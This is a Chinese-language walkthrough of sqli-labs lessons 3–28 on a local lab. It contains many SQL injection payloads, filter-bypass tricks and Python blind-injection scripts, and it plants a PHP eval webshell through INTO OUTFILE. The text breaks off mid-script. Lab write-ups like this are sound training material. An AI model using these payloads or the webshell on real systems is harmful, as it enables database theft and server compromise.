前言:
本篇为sql-labs系列Less-3~Less37关讲解,内容是很多篇文章合并了,Less24关的二次注入没有写,因为当初对二次注入了解不是太深入,所以也就放弃了。以前是边学边记录的,几乎一两关就写了一篇,所以经过考虑我就给合并了,内容衔接可能有瑕疵,还请各位师傅包涵。也诚挚希望各位师傅能就本篇内容给出意见,这也是对我网安成长过程的一个记录,也希望本篇文章能给刚开始入门sql注入的同学提供帮助,感谢各位支持!
环境
Windows10、phpstudy
工具
本篇文章所用到的工具有:hackbar、蚁剑、burpsuite
正文:
Less-3
这里还是让sql语句在浏览器输出(自己在源码里面改,参见第一篇),可以看到sql语句id数值那里和第一关相比多了一对括号,如果我们只在数值后面加一个单引号就注入显然会报错:
注意看输入的sql语句,注释符注释掉了后面的括号,所以注入的时候要在单引号后面加上括号形成闭合,如图:
可以看到,加上括号以后就又成为了一条完整的sql语句,那么接下来的步骤就和之前一样了,下面放图,不再详细讲解,可以参考第一篇,猜测字段:
依然是没有第四字段,然后开始在第二或第三字段进行注入,下面查看数据库信息:
使用database()函数查询出来数据库为security,下面查询出数据库里面的表:
sql语句:
?id=-1’) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
下面查询flag表里面的字段信息:
sql语句:
?id=-1’) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘flag’ --+
flag表里面字段名也是flag,知道表名字段名 select 字段名 from 表名 查看里面的内容就可以了:
成功得到信息。
Less-4
第四关让第三关的注入语句单引号换为双引号就可以,方法一模一样。
less5
涉及函数:
extractvalue、updatexml、rand()、floor()、concat_ws()、left()
tip: 不是每个函数都要用到,extractvalue和updatexml任意一个函数都可以完成本关注入,下面会讲解几种方法,所以涉及函数比较多,extractvalue函数和updatexml函数可以参考此篇文章学习extractvalue()、updatexml()报错注入,其他几个函数比较简单,请自行百度。
方法1:
测试结果显示You are in……,经过多次注入后发现注入成功就只显示You are in……,那么我们就从报错信息得到有用的数据,比如还可以使用前面的order by测试,当测试到第四字段的时候就会报错:
这里不在讲解语句,做过前面几关的都知道,我们开始爆数据库名:
正常显示说明语句正确,得到数据库的第一个字母,图中字母s可以从a开始试,使用burpsuite工具爆破,后面的字母可以根据字母数量一次增加取到left的值即可,这个方法比较麻烦,本人不推荐使用,当然也可以写脚本爆破,不过像我这个菜鸟还没有那个能力,所以就找简单的方法。
方法2:
使用联合查询,这个方法使用的函数比较多,请看图:
sql语句为:
http://localhost/sql-labs/Less-5/ ?id=-1’ union select
1,count(*),concat_ws(’~’,(select database()),floor(rand()2)) as a
from information_schema.tables group by a–+(rand()和2中间有一个乘号,浏览器页面显示不出来)
这么长的语句是不是看着就头疼,这里大致说一下各个函数的作用,count() 函数是统计查询出来的结果,相同结果统计到一条,concat_ws函数是连接字符串的,*floor(rand()2) 是双查询语句,执行顺序从内到外,先执行rand函数,rand函数是生成0~1的随机数,floor() 函数是取小于等于数字的整数位,所以里面的rand随机数乘上2再由floor函数取整后结果就只能是0或1,group by是让查询结果分组,后面爆表,爆字段名只需要改一下concat里面的语句就行,这个方法很多大佬写的都有,这里不再赘述。提醒一点: 我的数据库里面加了一个flag表,最后是得到flag信息(flag表里只有一个字段),测试之后发现这条语句不能查询一个字段的表数据(也可能是我比较菜),这里也不再详细讲解,下面讲一下推荐的两种方法:
方法3(推荐):
语法: extractvalue(目标xml文档,xml路径)
函数的第二个参数是可以进行操作的地方,xml文件中查询使用的是/xx/xx/的格式,如果我们写成其他的格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法格式的内容就是我们想要查询的内容。
如果是正常的格式,即查询不到也不会报错,下面进行测试:
extractvalue()括号里面第一个参数可以是任何东西,只要不是正确的格式就行,这样造成函数格式错误然后以报错的形式让里面的sql语句显示出来,想了解更多方法可以参考前面的链接,接下来爆表名:
concat语句里面的参数就是第一关使用的语句,sql语句为
http://localhost/sql-labs/Less-5/?id=1’ and extractvalue(1,concat(’~’,(select group_concat(table_name) from
information_schema.tables where table_schema=‘security’)))–+
继续爆字段名:
sql语句:
http://localhost/sql-labs/Less-5/?id=1’ and extractvalue(1,concat(’~’,(select group_concat(column_name) from
information_schema.columns where table_name=‘flag’)))–+
我这里查询的是flag表里面的数据,当然也可以查询其他表,得到字段信息最后只需要查询里面的数据就可以了:
完成!
方法4(推荐)
updatexml函数: updatexml()函数与extractvalue()函数类似,都是对xml文档进行操作。只不过updatexml()从英文字面上来看就知道是更新的意思。即updatexml()是更新文档的函数(具体方法看链接)。
语法: updatexml(目标xml文档,xml路径,更新的内容)
和extractvalue()相同的是都是对第二个参数进行操作的,通过构造非法格式的查询语句,来使其返回错误的信息,并将其更新出来。
注入测试:
sql语句:
http://localhost/sql-labs/Less-5/?id=1’ and updatexml(1,concat(’~’,(select database()),’~’),1)
–+
个人觉得用法跟extractvalue函数大同小异,所以下面不再讲解,只需要换下格式就可以了。
Less6
让less5里面的单引号换成双引号就可以了。
Less7
先使用show variables like '%secure%'查看mysql是否有读写权限,我用的是phpstudy里面的phpmyadmin,如图:
这是我修改过的,默认secure_file_priv字段默认值为NULL,如果使用的是phpstudy可以直接在phpstudy_pro\Extensions\MySQL里面找到my.ini文件修改,phpstudy_pro文件夹在你的安装的时候选择的盘符里,MySQL文件夹后面或许会跟的有版本号,这个看个人电脑情况,如果是Linux或者Windows单独配置的mysql也可以找到my.ini配置文件进行修改(这个看安装的时候选择的目录),可以参考图中修改:
在 [mysqld] 字段下面任意一行添加secure_file_priv="/" 这里双引号里面的/表示根目录,可以自己选择,下面开始注入:
提示使用文件导出(use outfile……),刚开始我也跟前面一样使用报错回显注入,但是错误提示明显没有有效信息,那就是用文件导出into outfile函数,我使用的注入语句为php一句话木马,具体注入方法为:
sql注入语句为:
http://localhost/sql-labs/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_POST["123"]);?>’ into outfile
“D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php”–+
- '<?php @eval($_POST["123"]);?>'为php一句话木马,123是蚁剑连接服务器的密码(更具体细节请百度php一句话木马),这个是比较简单的一句话木马,一句话木马有很多,请自行百度。
- "D:\phpstudy_pro\WWW\sql-labs\Less-7\test.php"是sql-labs/less-7文件的存放路径(根据你自己的安装路径来写),test.php为木马上传以后的保存文件,不需要提前创建,上传的时候会自动新建test.php文件,需要注意的是,注入语句执行以后依然会报错,但是如果去文件里面查看的话会发现test.php文件已经创建(如果没有可能是Windows给你杀了,我第一次就是,如果提示危险警告选择允许就好了),图示:
现在使用蚁剑连接即可:
成功连接服务器,成功!
Less8
本关如果注入语句执行成功页面就会显示You are in ……,如果注入语句没有被数据库执行页面无任何回显
请参考脚本:
import requests
url = "http://localhost/sql-labs/Less-8/?id=1'"
#url是自己页面的url,这里加上了?id=1'sql测试语句,写的时候不要忘了单引号
def get_dbname():
db_name=''
for i in range(1,9):
#这个遍历是数据库名字的长度如果不够的话就一点一点猜测
for j in range(32,127):
#32~127是ascii值对应的字符
payload = "and ascii(substr(database(),%d,1))=%d --+"%(i,j)
#sql注入语句
url1 = url + payload
#获取url(原url+sql语句构造的url)
res = requests.get(url1)
#获取sql注入生成后的页面
if "You are in..........." in res.text:
#因为sql语句执行成功页面会显示You are in……,所以只需判断页面显示内容有You are in……即可
db_name += chr(j)
#获取到的字符写入dn_name方便输出
print("数据库名称为:"+db_name)
get_dbname()
def get_table():
table1_name=''
table2_name=''
table3_name=''
table4_name=''
for i in range(5):
#因为数据库里面有多张表,所以需要再嵌套一个遍历,这个遍历所对应的是limit取值
for j in range(6):
for k in range(32,127):
payload = " and ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d--+"%(i,j,k)
url2 = url + payload
res = requests.get(url2)
if "You are in..........." in res.text:
if i == 0:
table1_name += chr(k)
print("第一个表为:"+table1_name)
elif i == 1:
table2_name += chr(k)
print("第二个表为:"+table2_name)
elif i == 2:
table3_name += chr(k)
print("第三个表为:"+table3_name)
elif i == 3:
table4_name += chr(k)
print("第四个表为:"+table4_name)
else:
break
get_table()
def get_columns():
column1=''
column2=''
column3=''
for i in range(3):
for k in range(1,9):
for j in range(32,127):
payload = "and ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d--+"%(i,k,j)
url3 = url + payload
res = requests.get(url3)
if "You are in..........." in res.text:
if i == 0:
column1 += chr(j)
print("第一个字段为->"+column1)
elif i == 1:
column2 += chr(j)
print("第二个字段为->"+column2)
elif i == 2:
column3 += chr(j)
print("第三个字段为->"+column3)
else:
break
get_columns()
def get_flag():
flag=''
for i in range(30):
for k in range(32,127):
payload = "and ascii(substr((select flag from flag),%d,1))=%d--+"%(i,k)
url4 = url + payload
res = requests.get(url4)
if "You are in..........." in res.text:
flag += chr(k)
print("flag为->"+flag)
get_flag()
详细的说明都在注释里了,sql语句使用的函数就不在讲了,脚本运行图:
需要注意的是,脚本运行非常慢(但是要比手动注入好很多),如果长时间依然没有跑出来结果就说明脚本出了问题,认真排查一下,感谢支持!
less9
本关无论注入正确与否页面都显示一样的回显,所以无法像第八关那样通过查看页面是否输出语句来判断注入的语句是否正确执行,这一关使用时间盲注方法
请看代码:
import requests
import time
import datetime
url = "http://localhost/sql-labs/Less-9/?id=1'"
def get_dbname():
dbname = ''
for i in range(1,9):
for k in range(32,127):
payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)
# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)
#if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒,也可以和1调换位置(那样就是如果语句错误休眠两秒)
time1 = datetime.datetime.now()
#获得提交payload之前的时间
res = requests.get(url + payload)
time2 = datetime.datetime.now()
#获得payload提交后的时间
difference = (time2 - time1).seconds
#time,time2时间差,seconds是只查看秒
if difference > 1:
dbname += chr(k)
else:
continue
print("数据库名为->"+dbname)
get_dbname()
def get_table():
table1 = ''
table2 = ''
table3 = ''
table4 = ''
for i in range(5):
for j in range(6):
for k in range(32,127):
payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)
time1 = datetime.datetime.now()
res = requests.get(url + payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
table1 += chr(k)
print("第一个表为->"+table1)
elif i == 1:
table2 += chr(k)
print("第二个表为->"+table2)
elif i == 3:
table3 += chr(k)
print("第三个表为->"+table3)
elif i == 4:
table4 += chr(k)
print("第四个表为->"+table4)
else:
break
get_table()
def get_column():
column1 = ''
column2 = ''
column3 = ''
for i in range(3):
for j in range(1,9):
for k in range(32,127):
payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
column1 += chr(k)
print("字段一为->"+column1)
if i == 1:
column2 += chr(k)
print("字段二为->"+column2)
if i == 2:
column3 += chr(k)
print("字段三为->"+column3)
else:
break
get_column()
def get_flag():
flag = ''
for i in range(30):
for k in range(32,127):
payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print("flag为->"+flag)
get_flag()
跟第八关的脚本差不多,只是使用的注入语句有点差别,涉及到第八关的脚本详解这里不在多说,如果有不懂的请看第八关详解sql-labs-less8详解注入语句只是比第八关多了if语句
**if函数:**这是MySQL内置的函数,语法:if(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
sleep()函数 功能:执行挂起一段时间,也就是等待一段时间在继续执行,里面的参数单位为秒
less10
less10和less9的区别只是单引号双引号,less10换成双引号就好了 。
less11
直接上图:
可以看到传入参数以后没有任何回显,这一点跟第一关不太一样,参数名可以通过查看器查看(F12),下面进行测试:
加入单引号后可以看到有报错回显,说明存在字符注入,后面的测试过程就不用说了,跟第一关一样,不过这一关只有1,2两个字段可以注入,还有要注意的是–+注释符没有作用了,只能使用#井号注释符,上图:
可以看到数据库名成功爆出,后面就跟第一关一样了,这里不再讲解,语句可以参考第一篇sql-labs-less1/2
less12
12关让11关的单引号换为双引号再加上)右括号闭合就可以了,语句如下:
uname=1") union select 1,database()#&passwd=1(这是hackbar里面爆数据库的语句)
其他的地方就都一样了,感谢支持!
less13
这一关和12关区别不是很大,测试的时候要让12关的双引号换为单引号,同样要用右括号闭合,即这样uname=1’)#&passwd=1这里不在放图,这一关注入正确语句不会回显任何内容,所以还是需要盲注,使用updatexml()函数或者extractvalue()函数使用方法请参考第5关的文章sql-labs-less5/6|SQL注入,不在赘述,这里放一张爆数据库的图:
sql语句:
uname=1’) and extractvalue(1,concat(’~’,database()))#&passwd=1
不过需要注意的是,在爆多个字段时跟第五关有不一样了,即便使用分组函数一样不会显示字段,图示:
sql语句:
uname=1’) and extractvalue(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’)))#&passwd=1
报错内容为大致意思为不能显示多个字段,所以要加上limit语句一条一条查看,如图:
sql语句为:
uname=1’) and extractvalue(1,concat(’~’,(select table_name from
information_schema.tables where table_schema=‘security’ limit
1,1)))#&passwd=1
flag为数据库的第一个表,想查看后面的表只需要limit第一个参数以此递增即可,使用updatexml函数除了语法跟这个有差别之外其他都是一样的。
less14
这一关依然是报错注入,让13关的单引号换成双引号就行了,不过不用使用右括号闭合,下图:
成功爆出数据库名
sql语句:
uname=1" and updatexml(1,concat(’~’,database()),1)#&passwd=1
其他的都和上面一下,不再多说,感谢支持!
less15
直接上脚本:
import requests
import time
import datetime
url = "http://localhost/sql-labs/Less-15/"
def get_dbname():
db_name = ''
for i in range(1,9):
for k in range(32,127):
database_payload = {"uname":"admin' and if(ascii(substr(database(),%d,1))=%d,sleep(2),1)#"%(i,k),"passwd":"1"}
time1 = datetime.datetime.now()
res = requests.post(url,database_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
db_name += chr(k)
print("数据库名为->"+db_name)
get_dbname()
def get_table():
table1 = ''
table2 = ''
table3 = ''
table4 = ''
for i in range(5):
for j in range(6):
for k in range(32,127):
table_payload = {"uname":"admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)#"%(i,j,k),"passwd":"1"}
time1 = datetime.datetime.now()
res = requests.post(url,table_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
table1 += chr(k)
print("第一张表名为->"+table1)
if i == 1:
table2 += chr(k)
print("第二张表名为->"+table2)
if i == 2:
table3 += chr(k)
print("第三张表名为->"+table3)
if i == 3:
table4 += chr(k)
print("第四张表名为->"+table4)
else:
continue
get_table()
def get_column():
column1 = ''
column2 = ''
column3 = ''
column4 = ''
for i in range(5):
for j in range(6):
for k in range(32,127):
column_payload = {"uname":"admin' and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)#"%(i,j,k),"passwd":"1"}
time1 = datetime.datetime.now()
res = requests.post(url,column_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
column1 += chr(k)
print("第一个字段名为->"+column1)
if i == 1:
column2 += chr(k)
print("第二个字段名为->"+column2)
if i == 2:
column3 += chr(k)
print("第三个字段名为->"+column3)
if i == 3:
column4 += chr(k)
print("第四个字段名为->"+column4)
else:
continue
get_column()
def get_flag():
flag = ''
for i in range(30):
for k in range(32,127):
flag_payload = {"uname":"admin' and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)#"%(i,k),"passwd":"1"}
time1 = datetime.datetime.now()
res = requests.post(url,flag_payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print("flag为->"+flag)
else:
continue
get_flag()
post传参的参数要写在字典里面,具体使用方法请自行百度,运行结果图:
less16
这一关让15关的单引号换位双引号加右括号闭合就可以了,如下:
uname=admin") and sleep(5)#&passwd=1
Less17
直接看图:
其实页面中已经给提示了,不过我刚开始还是在username字段试了很多种方法,在多种方法无果之后开始在password字段注入:
看到报错信息说明存在字符注入,就在我以为除了注入位置不同其他的都跟第11关一样的时候发现并不是预想的那样,这里不能使用联合查询,我使用的是extractvalue()函数,当然也可以用updatexml()函数,看一下爆数据库的图:
成功,注入语句为:
uname=admin&passwd=1’ and extractvalue(1,concat(’~’,database()))#
后面用前面的方法爆就可以了,这篇文章里可以参考extractvalue()和updatexml()函数的用法。
以上就是less17的注入方法,感谢支持!
less18
HTTP消息头字段信息这里就不在讲解了,网上搜一下一大堆,测试的时候发现无论是在username字段注入还是在password字段注入都没有任何结果,查看源码发现被过滤了,一起看下源码:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
可以看到uname和passwd注入点都被过滤了,不过在源码中发现了insert语句:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
可以看到在uagent、ip_address和username字段插入了数据,由于username字段过滤了所以不能进行注入,还有一处代码给出了提示:
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
$_SERVER是PHP超全局变量,从HTTP的头字段获取信息,可以看到图中是在头里面获取了user_agent字段和IP字段,那我们就在user_agent字段进行注入,方法有两种:
第一种是使用hackbar,勾选User Agent选项以后在图中U那个文本框里面输入注入语句,不过这里提醒一下,测试的时候试到’and 1='1’才不会报错,但是只有爆数据库的时候前面使用and或or都可以爆出来,但是之后开始就必须使用or才会成功爆出信息,否则什么信息都不回显,在获取多条信息的时候依然需要使用limit一条一条的查看(可以使用group_concat全部爆出来,不过我用的时候发现只要信息里面有flag就不会显示,但是在concat里面嵌套一个group_concat就可以,古怪!),第二种:
使用burpsuite注入,进入burp suite以后选择相应的请求报文然后发送到Repeater在User Agent进行注入,我是让User Agent头里面的信息删除直接注入了,sql语句直接跟在原来的User Agent信息后面也可以,其余的细节跟第一种方法都一样了。
less19
19关除了注入点在Referer以外注入方法都一样,不过要注意的是如果使用hackbar注入的话会有一个细节问题(使用burpsuite也是这样),看下图:
Truncated incorrect DOUBLE value: 'http://localhost/sql-labs/ ’
报出上面这个错误信息
我做的时候没有注意到,卡了很久,百度了很多相应的错误信息都没有解决,这个注入的时候需要让http://localhost/sql-labs/删除掉,也就是说Referer文本框里面是空的,这个需要特别注意!
less20
可以从图中看到正确注入会显示User Agent和Cookie信息,查看源码可以发现后台让username和password写入了cookie中,可以直接使用hackbar(burp suite也可以)进行cookie注入,如下图:
可以看到跟前两关一样,同样使用extractvalue或者updatexml报错回显,不过需要在cookie输入文本框里面再次username和password(如果使用burpsuite不需要重新输入,burpsuite头消息cookie字段里面会自动获取user信息,只需要再后面拼接注入语句即可),后面的注入语句跟前两关一样,不再解释。
less21
直接看一下源码:
echo " Your Cookie is deleted";
setcookie('uname', base64_encode($row1['username']), time()-3600);
header ('Location: index.php');
可以看到后台对cookie进行了base64编码,所以我们注入的时候需要讲注入语句进行base64编码就可以了,如果使用的是burp suite的话,cookie前面的username值不需要改变,只需要将编码过的sql语句加到后面就可以了,如果是hackbar就需要在cookie文本框里面输入username值(username值不编码)详细点的看这里,然后后面跟上需要编码的sql语句(hackbar里面有自带的编码选项),如下图:
第二个图片为hackbar自带的编码选项,里面可以使用常用的编码格式,这里面的注入语句是爆的第一张表,其他语句也都一样,后面不再讲解。
less22
22关跟上一关的差别是在cookie注入的时候用户名(也就是admin)也需要base64编码,看一下图:
需要将
admin "and extractvalue(1,concat(’~’,database()))#
admin "or extractvalue(1,concat(’~’,database())) and 1="1
编码,单引号换成了双引号,使用上面两条语句任意一条编码注入即可,其他的就都一样,不再讲解,感谢支持!
Less23
这次用的是谷歌浏览器,跟火狐一样,感觉在搜索框注入麻烦的话下载一个hackbar的插件就可以了。看图:
这一关是GET传参,下面用id=1’测试:
可以看到存在字符注入,经过测试发现不能使用#和–+注释,那就再加一个分号和前面的形成闭合:
and和or都可以,使用or的话为永真,接下来就开始进行常规的测试:
测试发现不能使用order by那就用union联合查询(这一关我没有看源码,一点一点试的),使用select测试字段的时候,当测试一个字段的时候报错回显有不同的列数,测试为3的时候正常回显:
前面的id值要为负值,具体原因参考前面的文章,这里的or 1='1为永真条件,会在第三字段回显为1,所以不能在第三字段注入,然而由于第一字段没有回显,所以只能在第二字段注入:
成功爆出数据库,后面的步骤就跟前面一样了。解题的方法不只这一种,我只是给一个参考,欢迎师傅指正讨论
less25
直接看图:
直接测试,在使用#井号注释的时候会报错,而且由下面的提示信息可以看到:过滤后的语句为1’ 很明显井号被过滤掉了,而且这一关也将and和or过滤掉了,方法有下面几个(或许有的方法我不知道):
- 使用||代替or,后面跟||1='1进行闭合绕过:
可以看到正确回显,不过依然只能在第二字段注入,具体原因已经在23关这篇里面讲过,不清楚的可以去看一下,后面的过程就直接在第二字段注入就可以了。 - 双写绕过:使用oorr 或者anandd效果跟第一种方法一样,由于后台进行了or和and过滤,那么oorr和anandd过滤掉中间的or和and以后语句就重新组合成了or和and,使用方法同第一种一样,只是绕过方式不一样。
- 不用and和or,直接使用井号#注释,由于传递参数的时候会进行url编码,所以直接让井号进行url编码就行,井号url编码为**%23**,测试如下:
这里和前面两种方法有点不同,由于没有使用1='1生成结果,所以不会占回显位,所以在第二和第三字段都可以注入,如下:
可以看到第二和第三字段都成功回显,不过在进行后面的步骤的时候会出现一个小问题:
仔细看可以看出,注入的information在过滤后变成了infmation(少了or),这是由于后台过滤or和and造成的,很简单,使用双写就可以了,比如:infoorrmation:
成功回显,后面的就是常规注入,不再啰嗦。
less25a
这一关跟less25差别不大,看图:
使用id=1’进行字符注入测试的时候发现报错(下面会说报错信息),进行注释也不行,但是去掉引号就正常回显了,说明是数字型注入,如上图,那么接下来就进行注入就可以了:
这里只注意报错信息,注入过程可以发现,只要出现错误就会报这个错误,查看源码可以发现关闭了错误回显,所以每次报错都是这样,我刚做的时候也难住了很久,还以为是注入方式出了问题,那么可以使用时间盲注,可以参考前面的文章,比如这篇。因为关闭错误回显,所以就不能使用报错注入了,当然使用上一关的方法也可以,不过依靠时间注入会更可靠一点,方法讲完了,这只是我能想到的方法,如果有更好的欢迎讨论,有错误的地方也欢迎师傅指正
Less26
这是直接测试之后的结果,如果查看源码可以发现,后台不仅过滤了上一关的or和and,而且空格和注释也过滤掉了。刚开始我自己进行测试的时候使用了其他url编码的空字符,明明过滤后的语句有空格但是依然报错,在百度过后才知道是阿帕奇的问题,不过可以在Linux里面测试(我没有试,直接用的报错注入),使用报错注入可以避免使用空格,可以代替空格的空字符如下:
%7f
%81
%8d
%8f
%a0
%a4
#也许还有其他的
注入语句如下:
http://localhost/sqli-labs-master/Less-26/
id=1’||extractvalue(1,concat(’~’,database()))||1='1
使用updatexml函数效果一样,不了解的可以参考我前面的文章,接下来就继续报表,由于这个语句有点麻烦所以讲一下这个后面的参照就可以了:
正确回显,不过注入的时候一定要仔细,我就因为括号的问题出错了很多次(要细心哦)。
http://localhost/sqli-labs-master/Less-26/?id=1’||extractvalue(1,concat(’~’,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=‘security’))))||1='1
好了,后面的步骤都一样,就不再赘述
Less26a
这一关在less26的基础上没有了报错回显,所以不能再用报错注入,而且由于阿帕奇的原因也不能使用空字符代替空格(在这一篇有讲),所以就只能使用时间盲注,通过页面返回时间判断是否注入正确,不过也有一个不适用时间盲注的方法,如下:
方法1:
测试过程就不再赘述,直接看图:
使用left函数从左到右逐次判断,用burpsuite爆破,不过比较麻烦,不推荐这种方法。
方法2:
先看效果图:
方法跟前面的9、10关差不多,直接放脚本:
import requests
import time
import datetime
url = "http://localhost/sqli-labs-master/Less-26a/?id=1'"
def get_dbname():
db_name = ''
for i in range(10):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr(database(),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
#%26代表&符号,因为%是转义符所以要用双百分号。
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
db_name += chr(k)
print("数据库名为->"+db_name)
get_dbname()
def get_table():
table = ''
for i in range(40):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
table += chr(k)
print("所有表名为->"+table)
get_table()
def get_columns():
column_name = ''
for i in range(20):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='flag')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
column_name += chr(k)
print("flag所有字段名为->"+column_name)
get_columns()
def get_flag():
flag = ''
for i in range(30):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr((select(flag)from(flag)),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print("flag为->"+flag)
get_flag()
less27
本关过滤掉了union和select,不过解决办法也很简单,前面过滤or的时候使用双写就可以了,不过这一关要嵌套三个select(使用双写依然会完全过滤掉,我没有看源码具体也不清楚)。这里使用报错注入,由于查看数据库可以避免使用select,所以直接放一下查询表的步骤,看图:
成功爆出表名,看一下脚本:
http://localhost/sqli-labs-master/Less-27/?id=1’||extractvalue(1,concat(’~’,(seselselectectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=‘security’))))||1='1
考察点就是select那里,值得一提的是这一关的or没有进行过滤,后面的步骤就跟前面的一样了,不再赘述。
less27a
这一关跟less26a差别不大,也同样是没有错误回显,只是比26a多过滤了一个select,直接放脚本:
import requests
import time
import datetime
url = 'http://localhost/sqli-labs-master/Less-27a/?id=1"'
def get_dbname():
db_name = ''
for i in range(10):
for k in range(32,127):
payload = '%%26%%26if(ascii(substr(database(),%d,1))=%d,sleep(2),1)%%26%%261="1'%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
db_name += chr(k)
print("数据库名为->"+db_name)
get_dbname()
def get_table():
tables_name = ''
for i in range(40):
for k in range(32,127):
payload = '%%26%%26if(ascii(substr((seselselectectlect(group_concat(table_name))from(information_schema.tables)where(table_schema="security")),%d,1))=%d,sleep(2),1)%%26%%261="1'%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
tables_name += chr(k)
print("所有表名为->"+tables_name)
get_table()
def get_columns():
columns_name = ''
for i in range(10):
for k in range(32,127):
payload = '%%26%%26if(ascii(substr((selselselectectect(group_concat(column_name))from(information_schema.columns)where(table_name="flag")),%d,1))=%d,sleep(2),1)%%26%%261="1'%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
columns_name += chr(k)
print("所有字段名为->"+columns_name)
get_columns()
def get_flag():
flag = ''
for i in range(40):
for k in range(32,127):
payload = '%%26%%26if(ascii(substr((selselselectectect(flag)from(flag)),%d,1))=%d,sleep(2),1)%%26%%261="1'%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print("flag为->"+flag)
get_flag()
效果图:
差别不大就不再详细讲解。
less28
直接放less28关的,我没有看其他的讲解,自己直接做了,不知道为啥less28比less27a还简单,less27a是双引号,而less28是单引号,而且还没有过滤select(我看的其他博客里面别的师傅说后台过滤了union select这两个一起用才会过滤),所以直接跟前面一样用脚本跑就可以了:
import requests
import time
import datetime
url = "http://localhost/sqli-labs-master/Less-28/?id=1'"
def get_dbname():
db_name = ''
for i in range(10):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr(database(),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
db_name += chr(k)
print("数据库名为->"+db_name)
get_dbname()
def get_tables():
tables_name = ''
for i in range(40):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
tables_name += chr(k)
print("所有表名为->"+tables_name)
get_tables()
def get_columns():
columns_name = ''
for i in range(10):
for k in range(32,127):
payload = "%%26%%26if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))=%d,sleep(2),1)%%26%%261='1"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
columns_name += chr(k)
print("所有的字段名为->"+columns_name)
get_columns()
def get_flag():
flag = ''
for i in range(40):
for k in range(32,127):
